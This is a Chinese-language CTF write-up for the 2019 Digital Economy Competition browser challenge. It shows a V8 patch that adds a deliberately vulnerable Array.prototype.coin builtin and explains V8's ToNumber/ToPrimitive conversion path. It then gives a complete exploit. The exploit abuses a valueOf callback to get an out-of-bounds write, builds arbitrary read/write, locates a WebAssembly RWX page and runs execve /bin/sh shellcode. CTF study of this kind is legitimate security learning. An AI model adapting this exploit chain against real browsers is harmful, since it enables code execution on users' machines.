2019-数字经济大赛决赛-Browser

diff分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index e6ab965a7e..9e5eb73c34 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -362,6 +362,36 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
}
} // namespace

+// Vulnerability is here
+// You can't use this vulnerability in Debug Build :)
+BUILTIN(ArrayCoin) {
+ uint32_t len = args.length();
+ if (len != 3) { //判断参数个数是否为3个
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
//将elements保存到局部变量
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+
+ Handle<Object> value;
+ Handle<Object> length;
//将第一个参数作为length
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, length, Object::ToNumber(isolate, args.at<Object>(1)));
//将第二个参数作为value
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(2)));
+
+ uint32_t array_length = static_cast<uint32_t>(array->length().Number());
//判断数组长度是否大于37
+ if(37 < array_length){
//是则将第37个元素设置为value的值
+ elements.set(37, value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+ else{
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}
+
BUILTIN(ArrayPush) {
HandleScope scope(isolate);
Handle<Object> receiver = args.receiver();
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 3412edb89d..1837771098 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -367,6 +367,7 @@ namespace internal {
TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
/* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */ \
TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
+ CPP(ArrayCoin) \
\
/* ArrayBuffer */ \
/* ES #sec-arraybuffer-constructor */ \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index f5fa8f19fe..03a7b601aa 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1701,6 +1701,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
return Type::Receiver();
case Builtins::kArrayUnshift:
return t->cache_->kPositiveSafeInteger;
+ case Builtins::kArrayCoin:
+ return Type::Receiver();

// ArrayBuffer functions.
case Builtins::kArrayBufferIsView:
diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.cc
index e7542dcd6b..059b54731b 100644
--- a/src/init/bootstrapper.cc
+++ b/src/init/bootstrapper.cc
@@ -1663,6 +1663,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
false);
SimpleInstallFunction(isolate_, proto, "copyWithin",
Builtins::kArrayPrototypeCopyWithin, 2, false);
+ SimpleInstallFunction(isolate_, proto, "coin",
+ Builtins::kArrayCoin, 2, false);
SimpleInstallFunction(isolate_, proto, "fill",
Builtins::kArrayPrototypeFill, 1, false);
SimpleInstallFunction(isolate_, proto, "find",

这里就不分析了,大家可以参考:(´∇`) 天亮啦~ 2019-数字经济大赛决赛-Browser | A1ex’s Blog

ToNumber()函数

1
2
3
4
MaybeHandle<Object> Object::ToNumber(Isolate* isolate, Handle<Object> input) {
if (input->IsNumber()) return input; // Shortcut.
return ConvertToNumberOrNumeric(isolate, input, Conversion::kToNumber);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// static
MaybeHandle<Object> Object::ConvertToNumberOrNumeric(Isolate* isolate,
Handle<Object> input,
Conversion mode) {
while (true) {
if (input->IsNumber()) {
return input;
}
if (input->IsString()) {
return String::ToNumber(isolate, Handle<String>::cast(input));
}
if (input->IsOddball()) {
return Oddball::ToNumber(isolate, Handle<Oddball>::cast(input));
}
if (input->IsSymbol()) {
THROW_NEW_ERROR(isolate, NewTypeError(MessageTemplate::kSymbolToNumber),
Object);
}
if (input->IsBigInt()) {
if (mode == Conversion::kToNumeric) return input;
DCHECK_EQ(mode, Conversion::kToNumber);
THROW_NEW_ERROR(isolate, NewTypeError(MessageTemplate::kBigIntToNumber),
Object);
}
ASSIGN_RETURN_ON_EXCEPTION(
isolate, input,
JSReceiver::ToPrimitive(Handle<JSReceiver>::cast(input),
ToPrimitiveHint::kNumber),
Object);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
MaybeHandle<Object> JSReceiver::ToPrimitive(Handle<JSReceiver> receiver,
ToPrimitiveHint hint) {
Isolate* const isolate = receiver->GetIsolate();
Handle<Object> exotic_to_prim;
ASSIGN_RETURN_ON_EXCEPTION(
isolate, exotic_to_prim,
Object::GetMethod(receiver, isolate->factory()->to_primitive_symbol()),
Object);//从receiver里获得primitive_symbol的方法,有的话调用没有的话进入OrdinaryToPrimitive
if (!exotic_to_prim->IsUndefined(isolate)) {
Handle<Object> hint_string =
isolate->factory()->ToPrimitiveHintString(hint);
Handle<Object> result;
ASSIGN_RETURN_ON_EXCEPTION(
isolate, result,
Execution::Call(isolate, exotic_to_prim, receiver, 1, &hint_string),//如果有就调用
Object);
if (result->IsPrimitive()) return result;
THROW_NEW_ERROR(isolate,
NewTypeError(MessageTemplate::kCannotConvertToPrimitive),
Object);
}
return OrdinaryToPrimitive(receiver, (hint == ToPrimitiveHint::kString)
? OrdinaryToPrimitiveHint::kString
: OrdinaryToPrimitiveHint::kNumber);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
MaybeHandle<Object> JSReceiver::OrdinaryToPrimitive(
Handle<JSReceiver> receiver, OrdinaryToPrimitiveHint hint) {
Isolate* const isolate = receiver->GetIsolate();
Handle<String> method_names[2];
//根据传进的参数hint,填入method_names,只是顺序不一样
switch (hint) {
case OrdinaryToPrimitiveHint::kNumber:
method_names[0] = isolate->factory()->valueOf_string();
method_names[1] = isolate->factory()->toString_string();
break;
case OrdinaryToPrimitiveHint::kString:
method_names[0] = isolate->factory()->toString_string();
method_names[1] = isolate->factory()->valueOf_string();
break;
}
//遍历method_names
for (Handle<String> name : method_names) {
Handle<Object> method;
ASSIGN_RETURN_ON_EXCEPTION(isolate, method,
JSReceiver::GetProperty(isolate, receiver, name),
Object);//查找receiver有没有名为"name"的属性/方法
if (method->IsCallable()) {//如果这个属性能调用就调用,不能就遍历下一个name,其实也就两个valueOf和toString
Handle<Object> result;
ASSIGN_RETURN_ON_EXCEPTION(
isolate, result,
Execution::Call(isolate, method, receiver, 0, nullptr), Object);
if (result->IsPrimitive()) return result;//最后判断一下这个返回结果是不是primitive,是的话就返回
}
}
THROW_NEW_ERROR(isolate,
NewTypeError(MessageTemplate::kCannotConvertToPrimitive),
Object);
}

1.可以看到,当input不是Number的时候,会调用ConvertToNumberOrNumeric(isolate, input, Conversion::kToNumber)

2.在这个函数里会对input进行判断,当input不是那几个判断的基本类型的时候,就会进入

JSReceiver::ToPrimitive(Handle<JSReceiver> receiver,ToPrimitiveHint hint)

3.根据注释看

接下来写几个测试代码测试一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
const obj = {
toString() {
console.log("toString called");
return "123";
},
valueOf() {
console.log("valueOf called");
return 456;
}
};

console.log(Number(obj));
//valueOf called
//456

可以看到有tostringvalueOf属性名的时候会优先调用valueOf,这是由于参数决定的,但是当没有valueOf属性名的时候

1
2
3
4
5
6
7
8
9
10
const obj = {
toString() {
console.log("toString called");
return "123";
}
};

console.log(Number(obj));
//toString called
//123

就会调用toString

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
const obj = {
[Symbol.toPrimitive](hint) {

if (hint === "string") {
return "999";
}
if (hint === "number") {
return 666;
}
return "default";
},
toString() {
console.log("toString called");
return "123";
},
valueOf() {
console.log("valueOf called");
return 456;
}
};

console.log(Number(obj));
//666

但是当有 [Symbol.toPrimitive]方法的时候,就会调用这个方法,传进来的参数是Number,所以会return 666

测试攻击

攻击脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
function hexx(str, value)
{
print("\033[32m[+]"+str+": \033[0m0x"+value.toString(16));
}

var buf=new ArrayBuffer(0x8);
var fbuf=new Float64Array(buf);
var ibuf=new BigInt64Array(buf);

function ftoi(val)
{
fbuf[0]=val;
return ibuf[0];
}
function itof(val)
{
ibuf[0]=val;
return fbuf[0];
}

var val= {
// 回调函数,新申请一个数组,并重新设置数组长度为0x100
valueOf(){
victim=new Array(12).fill(1.1)
array.length = 0x100
return itof(0x1000000000000n)
}
}
let array=[];
array.length=34;
array.coin(50,val);
%DebugPrint(array);
%DebugPrint(victim);
%SystemBreak();

1.先创建一个arr,然后在调用coin函数的时候,会在ToNumber(val)的时候创建victim,这个对象的length正好就是arrelements的索引为37的地方,然后将arrlength修改为大于37的数,绕过检测,但是

1
2
  //将elements保存到局部变量
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());

这个局部变量还是保存着之前的elements的地址,所以就可以实现越界写,这里选择将victimlength写成一个超大的数,这样就可以实现越界写和越界读了

image-20250909181531535

之后的攻击就简单了,和之前的oob差不多

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
function hexx(str, value)
{
print("\033[32m[+]"+str+": \033[0m0x"+value.toString(16));
}

var buf=new ArrayBuffer(0x8);
var fbuf=new Float64Array(buf);
var ibuf=new BigInt64Array(buf);

function ftoi(val)
{
fbuf[0]=val;
return ibuf[0];
}
function itof(val)
{
ibuf[0]=val;
return fbuf[0];
}

var val= {
// 回调函数,新申请一个数组,并重新设置数组长度为0x100
valueOf(){
victim=new Array(12).fill(1.1)
array.length = 0x30
return itof(0x1000000000000n)
}
}
let array=[];
array.length=34;
array.coin(50,val);

var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,
128,0,1,96,0,1,127,3,130,128,128,128,
0,1,0,4,132,128,128,128,0,1,112,0,0,5,
131,128,128,128,0,1,0,1,6,129,128,128,128,
0,0,7,145,128,128,128,0,2,6,109,101,109,111,
114,121,2,0,4,109,97,105,110,0,0,10,142,128,128,
128,0,1,136,128,128,128,0,0,65,239,253,182,245,125,11]);

var wasm_module = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_module);
var pwn = wasm_instance.exports.main;

var data_buf = new ArrayBuffer(0x2000);
var data_view = new DataView(data_buf);

var wasm_instance_addr=ftoi(victim[0x115]);
hexx("wasm_instance_addr: ",wasm_instance_addr);
victim[0x11c]=itof(wasm_instance_addr-1n);
var rwx=data_view.getBigUint64(17*8,true);
victim[0x11c]=itof(rwx);

hexx("rwx: ",rwx);

var shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];
for (let i = 0; i < shellcode.length; i++)
{
data_view.setBigUint64(i*8, shellcode[i], true);
}

pwn()